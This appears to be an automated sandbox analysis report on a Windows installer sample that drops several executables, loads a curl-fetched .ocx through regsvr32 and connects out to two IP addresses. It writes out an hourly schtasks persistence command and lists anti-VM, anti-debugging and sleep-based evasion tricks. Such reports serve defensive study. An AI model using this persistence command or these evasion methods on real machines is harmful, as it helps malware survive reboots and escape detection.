Source: MSICCE.tmp.4.dr	Static PE information: section name: .fptable
Source: MSIEA6.tmp.4.dr	Static PE information: section name: .fptable
Source: MSIEE5.tmp.4.dr	Static PE information: section name: .fptable
Source: MSIF15.tmp.4.dr	Static PE information: section name: .fptable
Source: SoftwareDistributor.exe.7.dr	Static PE information: section name: .CLR_UEF
Source: SoftwareDistributor.exe.7.dr	Static PE information: section name: .didat
Source: SoftwareDistributor.exe.7.dr	Static PE information: section name: Section
Source: SoftwareDistributor.exe.7.dr	Static PE information: section name: _RDATA
Source: MainSoftware.exe.7.dr	Static PE information: section name: .CLR_UEF
Source: MainSoftware.exe.7.dr	Static PE information: section name: .didat
Source: MainSoftware.exe.7.dr	Static PE information: section name: Section
Source: MainSoftware.exe.7.dr	Static PE information: section name: _RDATA
Source: MSI5903.tmp.7.dr	Static PE information: section name: .fptable
Source: MSI5971.tmp.7.dr	Static PE information: section name: .fptable
Source: MSI59B1.tmp.7.dr	Static PE information: section name: .fptable
Source: MSI5A00.tmp.7.dr	Static PE information: section name: .didat
Source: MSI5A00.tmp.7.dr	Static PE information: section name: .fptable
Source: MSI7AA9.tmp.7.dr	Static PE information: section name: .fptable
Source: MSI7B27.tmp.7.dr	Static PE information: section name: .fptable
Source: MSI7B86.tmp.7.dr	Static PE information: section name: .fptable
Source: MSI8914.tmp.7.dr	Static PE information: section name: .fptable
Source: shi56C1.tmp.11.dr	Static PE information: section name: .wpp_sf
Source: shi56C1.tmp.11.dr	Static PE information: section name: .didat
Source: Install.exe.part.13.dr	Static PE information: section name: .CLR_UEF
Source: Install.exe.part.13.dr	Static PE information: section name: .didat
Source: Install.exe.part.13.dr	Static PE information: section name: Section
Source: Install.exe.part.13.dr	Static PE information: section name: _RDATA
Source: Install.exe.21.dr	Static PE information: section name: .managed
Source: Install.exe.21.dr	Static PE information: section name: hydrated
Source: 219880.ocx.30.dr	Static PE information: section name: .fptable

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403F45 push es; ret	4_3_05403F48
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403F45 push es; ret	4_3_05403F48
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403F45 push es; ret	4_3_05403F48
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403F49 push es; iretd	4_3_05403F64
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403F49 push es; iretd	4_3_05403F64
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403F49 push es; iretd	4_3_05403F64
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403FF5 push es; ret	4_3_05403FF8
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403FF5 push es; ret	4_3_05403FF8
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05403FF5 push es; ret	4_3_05403FF8
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_0537C8F5 push es; iretd	4_3_0537C8F6
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_053782F8 push ebp; ret	4_3_053782F9
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_0537C350 pushad ; retf	4_3_0537C351
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05391E7E pushfd ; ret	4_3_05391E7F
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05391E7E pushfd ; ret	4_3_05391E7F
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05393EA0 push ecx; ret	4_3_05393EA1
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05393EA0 push ecx; ret	4_3_05393EA1
Source: C:\Users\user\Desktop\1.exe	Code function: 4_3_05378EE0 push FFFFFFAAh; iretd	4_3_05379952
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0086E360 push ecx; mov dword ptr [esp], ecx	11_2_0086E361
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A854E7 push ecx; ret	11_2_00A854FA
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_0089157A push 8BFFFFFEh; iretd	11_2_0089158C
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00991750 push ecx; mov dword ptr [esp], 3F800000h	11_2_009918AC
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Code function: 16_2_00007FF7797FC37C push eax; ret	16_2_00007FF7797FC37D
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Code function: 16_2_00007FF7797F180D push ecx; ret	16_2_00007FF7797F181C

Persistence and Installation Behavior

Drops PE files

Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\lzmaextractor.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\shi56C1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5903.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7AA9.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\Install.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI59B1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B27.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIB81.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8914.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\ShortcutFlags.dll	Jump to dropped file
Source: C:\Program Files (x86)\Main\MainSoftware.exe	File created: C:\Program Files (x86)\Main\Chop\Install.exe	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSICFE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIC5F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5A00.tmp	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\Users\user\AppData\Local\Temp\219880.ocx	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIC9E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIC2F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIEA6.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIEE5.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIBE0.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\ProgramFilesFolder\Main\MainSoftware.exe	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\shiA18.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSICCE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSID4D.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIAC4.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Main\MainSoftware.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\Install.exe.part	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B86.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5971.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Addons\SoftwareDistributor.exe	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIF15.tmp	Jump to dropped file

Drops PE files to the windows directory (C:\Windows)

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5903.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7AA9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI59B1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B27.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8914.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5A00.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7B86.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5971.tmp	Jump to dropped file

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Windows\SysWOW64\msiexec.exe

File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\Install.exe.part

Jump to dropped file

Creates install or setup log file

Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Addons\Surfclub\How to uninstall.txt	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File created: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\How to uninstall.txt	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\Addons\Surfclub\How to uninstall.txt	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Atomix\How to uninstall.txt	Jump to behavior

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Program Files (x86)\Main\MainSoftware.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f

Hooking and other Techniques for Hiding and Protection

Stores large binary data to the registry

Source: C:\Users\user\Desktop\1.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 Blob

Jump to behavior

Source: C:\Users\user\Desktop\1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Memory allocated: 2349ED30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Memory allocated: 27D34670000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Memory allocated: 24A510D0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Memory allocated: 2C1E2E20000 memory reserve \| memory write watch
Source: C:\Program Files\Surfclub\Install.exe	Memory allocated: 2488F1C0000 memory reserve \| memory write watch
Source: C:\Program Files\Surfclub\Install.exe	Memory allocated: 19148520000 memory reserve \| memory write watch

Contains long sleeps (>= 3 min)

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Surfclub\Install.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Surfclub\Install.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Window / User API: threadDelayed 8539
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Window / User API: threadDelayed 698

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\lzmaextractor.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi56C1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5903.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7AA9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI59B1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7B27.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI8914.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIB81.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\ShortcutFlags.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICFE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIC5F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5A00.tmp	Jump to dropped file
Source: C:\Windows\System32\curl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\219880.ocx	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIC9E.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIC2F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIEA6.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIEE5.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBE0.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSICCE.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shiA18.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSID4D.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIAC4.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7B86.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5971.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIF15.tmp	Jump to dropped file

Found evasive API chain checking for process token information

Source: C:\Users\user\Desktop\1.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_11-40918

Found large amount of non-executed APIs

Source: C:\Users\user\Desktop\1.exe	API coverage: 8.3 %
Source: C:\Program Files (x86)\Main\MainSoftware.exe	API coverage: 0.0 %

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 940	Thread sleep count: 282 > 30	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 1244	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 476	Thread sleep count: 184 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 476	Thread sleep count: 176 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 5608	Thread sleep count: 202 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 8004	Thread sleep count: 34 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 476	Thread sleep count: 8539 > 30
Source: C:\Program Files (x86)\Main\MainSoftware.exe TID: 6892	Thread sleep count: 698 > 30
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe TID: 4076	Thread sleep count: 282 > 30
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe TID: 4076	Thread sleep count: 56 > 30
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe TID: 5276	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Surfclub\Install.exe TID: 2636	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Surfclub\Install.exe TID: 4780	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\Users\user\AppData\Roaming FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923 FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_009B5800 FindFirstFileW,GetLastError,FindClose,		11_2_009B5800
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00873CB0 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,		11_2_00873CB0

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_008931C0 GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLastError,

11_2_008931C0

Source: C:\Program Files (x86)\Main\MainSoftware.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Surfclub\Install.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Surfclub\Install.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\

Source: 1.exe, 0000000B.00000003.1513962174.000000000509E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: HKEY_USERSRegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1VMware20,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\.Failed to delete directory: LastError= Failed to delete file: shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
Source: MainSoftware.exe, 00000010.00000002.2142070466.0000027536333000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_00A89823 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_00A89823

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_009C0430 LoadLibraryW,GetProcAddress,FreeLibrary,FreeLibrary,

11_2_009C0430

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_00A8420E mov esi, dword ptr fs:[00000030h]

11_2_00A8420E

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_00877060 GetProcessHeap,HeapFree,

11_2_00877060

Enables debug privileges

Source: C:\Program Files (x86)\Main\MainSoftware.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_008A0100 __set_se_translator,SetUnhandledExceptionFilter,	11_2_008A0100
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00893170 __set_se_translator,SetUnhandledExceptionFilter,	11_2_00893170
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A89823 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00A89823
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00A84D5E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00A84D5E

Source: C:\Program Files (x86)\Main\MainSoftware.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 149.154.167.220 443
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 172.67.184.211 443

Creates a process in suspended mode (likely to inject code)

